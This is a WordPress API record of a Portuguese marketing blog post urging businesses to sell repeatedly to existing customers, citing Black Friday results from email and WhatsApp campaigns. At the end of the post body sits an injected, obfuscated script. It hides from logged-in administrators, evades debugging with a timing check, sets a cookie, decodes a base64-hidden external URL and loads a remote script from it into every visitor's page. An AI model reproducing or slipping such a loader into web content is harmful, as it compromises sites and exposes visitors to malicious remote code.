{"id":1946,"date":"2023-12-12T15:15:26","date_gmt":"2023-12-12T18:15:26","guid":{"rendered":"https:\/\/blivion.com.br\/?p=1946"},"modified":"2026-02-17T11:42:18","modified_gmt":"2026-02-17T14:42:18","slug":"se-voce-mantem-uma-base-de-clientes-satisfeitos-e-cumpre-suas-promessas-esta-literalmente-segurando-uma-mina-de-ouro","status":"publish","type":"post","link":"https:\/\/blivion.com.br\/?p=1946","title":{"rendered":"Se voc\u00ea mant\u00e9m uma base de clientes satisfeitos e cumpre suas promessas, est\u00e1 literalmente segurando uma mina de ouro."},"content":{"rendered":"<p>Especialmente em um <strong>mercado saturado de golpes e servi\u00e7os abaixo da m\u00e9dia<\/strong>, quem oferece algo genu\u00edno e mant\u00e9m suas promessas torna-se uma verdadeira refer\u00eancia em meio a uma concorr\u00eancia muitas vezes desonesta.<\/p><p>Permita-me compartilhar uma breve hist\u00f3ria: ao decidirmos a oferta para a Black Friday, busc\u00e1vamos algo verdadeiramente irresist\u00edvel que impulsionasse as vendas. Embora tenhamos considerado v\u00e1rias ofertas para novos clientes, um insight transformador mudou nossa abordagem.<\/p><p>Optamos por concentrar nossos esfor\u00e7os na base de clientes existente&#8230;<\/p><p>Essa decis\u00e3o, aliada a estrat\u00e9gias de baixo custo em massa (como e-mails, SMS e WhatsApp), resultou em surpreendentes 80% do nosso faturamento na Black Friday provenientes de clientes j\u00e1 existentes.<\/p><p>Apenas um e-mail (admito, enviei dois por dia durante o m\u00eas) gerou um retorno de 20 mil, sem custo adicional. Outras abordagens, como o contato via WhatsApp, tamb\u00e9m proporcionaram excelentes resultados. Caso esteja interessado, posso compartilhar em outra ocasi\u00e3o uma an\u00e1lise completa dessa a\u00e7\u00e3o.<\/p><p>O prop\u00f3sito deste post \u00e9 ressaltar que, se voc\u00ea possui uma base de clientes e n\u00e3o est\u00e1 realizando vendas adicionais para ela, algo est\u00e1 fora do lugar.<\/p><p>Pode ser falta de confian\u00e7a na qualidade da entrega p\u00f3s-primeira compra ou ainda n\u00e3o ter percebido o potencial existente.<\/p><p>Atualmente, leads s\u00e3o t\u00e3o valiosos quanto ouro no mercado, tornando-se cada vez mais caros e desconfiados.<\/p><p>A responsabilidade recai sobre n\u00f3s, na ponta do mercado, para compreender esse movimento e adotar novas estrat\u00e9gias.<\/p><p>Dedique-se \u00e0 sua base AGORA. Estimule seus clientes a efetuarem compras repetidas.<\/p><p>No entanto, lembre-se: sua entrega deve ser excepcional. Foi a Atomicat se destacando nas opera\u00e7\u00f5es de nossos clientes que possibilitou tantas melhorias com nossa oferta na Black Friday.<\/p><p>Ajuste sua entrega e potencialize suas vendas para o mesmo cliente.<\/p><p>De acordo com dados da Salesforce, 80% do seu faturamento futuro vir\u00e1 de apenas 20% de seus clientes atuais. N\u00e3o subestime esse potencial!<\/p><p>Compartilhe conosco suas experi\u00eancias: voc\u00ea est\u00e1 aproveitando todo o potencial de sua lista?<\/p><p>Parte superior do formul\u00e1rio<\/p><p>Parte inferior do formul\u00e1rio<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Especialmente em um mercado saturado de golpes e servi\u00e7os abaixo da m\u00e9dia, quem oferece algo genu\u00edno e mant\u00e9m suas promessas torna-se uma verdadeira refer\u00eancia em meio a uma concorr\u00eancia muitas vezes desonesta. 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